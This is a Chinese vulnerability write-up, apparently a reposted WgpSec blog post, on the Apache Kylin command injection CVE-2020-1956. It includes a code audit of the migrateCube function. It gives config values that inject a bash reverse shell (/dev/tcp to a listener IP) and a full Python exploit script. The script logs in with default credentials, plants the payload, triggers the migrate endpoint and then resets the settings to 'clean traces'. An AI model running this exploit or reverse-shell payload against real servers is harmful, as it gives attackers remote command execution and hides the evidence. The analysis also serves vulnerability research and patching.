service注入为空_Apache Kylin 命令注入漏洞 CVE20201956

点击蓝字

bc34fe5029f8dc11a526b5a08f86efee.gif

关注我们

声明

本文作者:Peiqi
本文字数:4000

阅读时长:40min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

前言

漏洞复现

一、

漏洞描述

2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133 。

Apache Kylin是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。

二、

影响版本

Apache Kylin 2.3.0 ~ 2.3.2

Apache Kylin 2.4.0 ~ 2.4.1

Apache Kylin 2.5.0 ~ 2.5.2

Apache Kylin 2.6.0 ~ 2.6.5

Apache Kylin 3.0.0-alpha, Apache Kylin 3.0.0-alpha2, Apache Kylin 3.0.0-beta, Apache Kylin 3.0.0, Kylin 3.0.1

三、

环境搭建

这里使用 docker 来搭建需要的环境

Kylin官方文档

docker pull apachekylin/apache-kylin-standalone:3.0.1

如果服务器内存较小,可不选择 -m 8G 参数

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功

46e45613dcd45114ea3beec1a705746b.png

四、

漏洞分析

查看这个漏洞修复的补丁

查看地址(阅读原文)

6a16d304dc375572ad90a89616cf1430.png

这里可以看到此漏洞有关的参数有三个,分别是 srcCfgUri、dstCfgUri、projectName,相关的函数为 migrateCube

官方文档中对 migrateCube 的描述

46aef49e8f47b42b99706998f7d38fa0.png

POST /kylin/api/cubes/{cube}/{project}/migrate

下载 Apache Kylin 3.0.1 的源代码进行代码审计,出现漏洞函数的文件为以下路径

apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service\CubeService.java

找到migrateCube函数

2db266a58e203c3f94141e777043158c.png

@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
+ " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")
public void migrateCube(CubeInstance cube, String projectName) {
KylinConfig config = cube.getConfig();
if (!config.isAllowAutoMigrateCube()) {
throw new InternalErrorException("One click migration is disabled, please contact your ADMIN");
}

for (CubeSegment segment : cube.getSegments()) {
if (segment.getStatus() != SegmentStatusEnum.READY) {
throw new InternalErrorException(
"At least one segment is not in READY state. Please check whether there are Running or Error jobs.");
}
}

String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
String dstCfgUri = config.getAutoMigrateCubeDestConfig();

Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri), "Destination configuration should not be empty.");

String stringBuilderstringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true");
String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri,
cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());

logger.info("One click migration cmd: " + cmd);

CliCommandExecutor exec = new CliCommandExecutor();
PatternedLogger patternedLogger = new PatternedLogger(logger);

try {
exec.execute(cmd, patternedLogger);
} catch (IOException e) {
throw new InternalErrorException("Failed to perform one-click migrating", e);
}
}

PreAuthorize里面定义了路由权限,ADMIN权限、ADMINISTRATION权限和MANAGEMENT权限可以访问该service。

@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN
+ " or hasPermission(#cube, 'ADMINISTRATION') or hasPermission(#cube, 'MANAGEMENT')")

在1087行判断是否开启了MigrateCube设置,如果没有开启则会报错

2db266a58e203c3f94141e777043158c.png

跟进 isAllowAutoMigrateCube() 这个函数

f4dc89bbe8b4ba7fc27fe2be08fe34cc.png

可以看到这里默认的配置kylin.tool.auto-migrate-cube.enabled 就是Flase

public boolean isAllowAutoMigrateCube() {
return Boolean.parseBoolean(getOptional("kylin.tool.auto-migrate-cube.enabled", FALSE));
}

在没有开启配置kylin.tool.auto-migrate-cube.enabled为true的情况下,调用MigrateCube则会出现报错

99cd5cacee82fb1abccb07bb37f4b45a.png9e2cee35e5f59caae68e7ef94c0212a5.png

通过Apache Kylin的SYSTEM模块开启kylin.tool.auto-migrate-cube.enabled为True

9de37f2742dc0aef3301119312fe991b.png

fd3c08d387241fefc2ee9d5707aa8461.png

设置后再去请求则不会出现刚刚的报错,而是出现Source configuration should not be empty

9fbe2a5fb856deb219bc6d620d8f0a42.png

跟进出现报错语句的代码块

9f1f9f9dea488b92471a3ee777dbaa4f.png

String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
String dstCfgUri = config.getAutoMigrateCubeDestConfig();

Preconditions.checkArgument(StringUtils.isNotEmpty(srcCfgUri), "Source configuration should not be empty.");
Preconditions.checkArgument(StringUtils.isNotEmpty(dstCfgUri),
"Destination configuration should not be empty.");

这里进行了对kylin.tool.auto-migrate-cube.src-config和kylin.tool.auto-migrate-cube.dest-config的配置进行了检测

,如果为空则会出现刚刚的报错

跟进 getAutoMigrateCubeSrcConfig()和getAutoMigrateCubeDestConfig()函数

ba461422b4c9cc82505739f70d087edb.png

public String getAutoMigrateCubeSrcConfig() {
return getOptional("kylin.tool.auto-migrate-cube.src-config", "");
}

public String getAutoMigrateCubeDestConfig() {

return getOptional("kylin.tool.auto-migrate-cube.dest-config", "");
}

发现这两个配置默认为空,因为配置允许自定义,所以srcCfgUri和dstCfgUri两个变量均是可控的

继续向下走,发现一处命令拼接

5d89550d6517eb1e5aaf31497348be9e.png

String stringBuilder = ("%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true");
String cmd = String.format(Locale.ROOT, stringBuilder, KylinConfig.getKylinHome(), srcCfgUri, dstCfgUri,
cube.getName(), projectName, config.isAutoMigrateCubeCopyAcl(), config.isAutoMigrateCubePurge());

logger.info("One click migration cmd: " + cmd);

CliCommandExecutor exec = new CliCommandExecutor();
PatternedLogger patternedLogger = new PatternedLogger(logger);

try {
exec.execute(cmd, patternedLogger);
} catch (IOException e) {
throw new InternalErrorException("Failed to perform one-click migrating", e);
}
}

进入到execute函数

private PairrunRemoteCommand(String command, Logger logAppender) throws IOException {
SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);

SSHClientOutput sshOutput;
try {
sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
int exitCode = sshOutput.getExitCode();
String output = sshOutput.getText();
return Pair.newPair(exitCode, output);
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOException(e.getMessage(), e);
}
}

private PairrunNativeCommand(String command, Logger logAppender) throws IOException {
String[] cmd = new String[3];
String osName = System.getProperty("os.name");
if (osName.startsWith("Windows")) {
cmd[0] = "cmd.exe";
cmd[1] = "/C";
} else {
cmd[0] = "/bin/bash";
cmd[1] = "-c";
}
cmd[2] = command;

ProcessBuilder builder = new ProcessBuilder(cmd);
builder.redirectErrorStream(true);
Process proc = builder.start();

BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
String line;
StringBuilder result = new StringBuilder();
while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
result.append(line).append('\n');
if (logAppender != null) {
logAppender.log(line);
}
}

if (Thread.interrupted()) {
logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
proc.destroy();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// do nothing
}
return Pair.newPair(1, "Killed");
}

try {
int exitCode = proc.waitFor();
return Pair.newPair(exitCode, result.toString());
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException(e);
}
}

}

由此可以得出我们可以通过这两个可控的参数,执行任意我们需要的命令,例如反弹一个shell,设置的配置为

kylin.tool.auto-migrate-cube.enabled=true

kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1

kylin.tool.auto-migrate-cube.dest-config=shell

762c93d6bb6dc5f1f032ab6b3d950124.png

再去发送POST请求 /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate

3cdf6ed208b6f8dd473991438b54b039.png

成功反弹一个shell

bbf8a86b34ed1fba3ff5f624e9473b9b.png

五、

漏洞利用POC

POC利用前提是拥有账号密码,默认账号密码是 admin/KYLIN

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech

import requests
import base64
import sys


def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: Apache Kylin <= 3.0.1 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2020-1956 \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7070 \033[0m')
print('+ \033[36mLogin >>> admin:KYLIN(格式为User:Pass) \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
login_url = target_url + "/kylin/api/user/authentication"
user_pass = str(input("\033[35mPlease input User and Pass\nLogin >>> \033[0m"))

Authorization = "Basic " + str((base64.b64encode(user_pass.encode('utf-8'))),'utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Authorization": Authorization,
"Cookie": "project=null"
}
try:
response = requests.post(url=login_url, headers=headers, timeout=20)
if "password" not in response.text:
print("\033[31m[x] 账号密码出现错误 \033[0m")
sys.exit(0)
else:
print("\033[32m[o] 成功登录,获得JSESSIONID:" + response.cookies["JSESSIONID"] + "\033[0m")
return response.cookies["JSESSIONID"],Authorization
except:
print("\033[31m[x] 漏洞利用失败\033[0m")
sys.exit(0)

def POC_2(target_url, cookie, IP, PORT, Authorization):
config_url = target_url + "/kylin/api/admin/config"

key = ["kylin.tool.auto-migrate-cube.enabled","kylin.tool.auto-migrate-cube.src-config","kylin.tool.auto-migrate-cube.dest-config"]
value = ["true","echo;bash -i >& /dev/tcp/{}/{} 0>&1;echo".format(IP, PORT), "shell"]

headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Authorization": Authorization,
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json;charset=UTF-8",
"Pragma": "no-cache",
"Cookie": "project=null;JSESSIONID="+cookie
}
for i in range(0,3):
data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
try:
response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
if response.status_code == 200:
print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
else:
print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)

def POC_3(target_url, cookie):
print("\033[35m[o] 正在反弹shell......\033[0m")
vuln_url = target_url + "/kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "project=null;JSESSIONID=" + cookie
}
try:
response = requests.post(url=vuln_url, headers=headers)
POC_4(target_url, cookie)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)

def POC_4(target_url, cookie):
config_url = target_url + "/kylin/api/admin/config"

key = ["kylin.tool.auto-migrate-cube.enabled", "kylin.tool.auto-migrate-cube.src-config",
"kylin.tool.auto-migrate-cube.dest-config"]
value = ["flase", "echo;echo;echo", "None"]

headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Authorization": Authorization,
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json;charset=UTF-8",
"Pragma": "no-cache",
"Cookie": "project=null;JSESSIONID=" + cookie
}

for i in range(0,3):
data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
try:
response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
if response.status_code == 200:
print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
else:
print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)
print("\033[35m[o] 成功清理痕迹\033[0m")


if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
try:
cookie,Authorization = POC_1(target_url)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
sys.exit(0)
IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
POC_2(target_url, cookie, IP, PORT, Authorization)
POC_3(target_url, cookie)

936f8b54729474ae4ac3632e3fd8e271.png

五、

参考文章

Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

后记

团队SRC 招人

4f7e6d1ff3ce340bb1d1d64229b23074.png

有意者投简历至 ev@wgpsec.org

扫描关注公众号回复加群

和师傅们一起讨论研究~

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec

e6411f50a32ef5af9e10c08f1e582466.png c1fddce6422a7e817a673cb743a672ff.gif
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值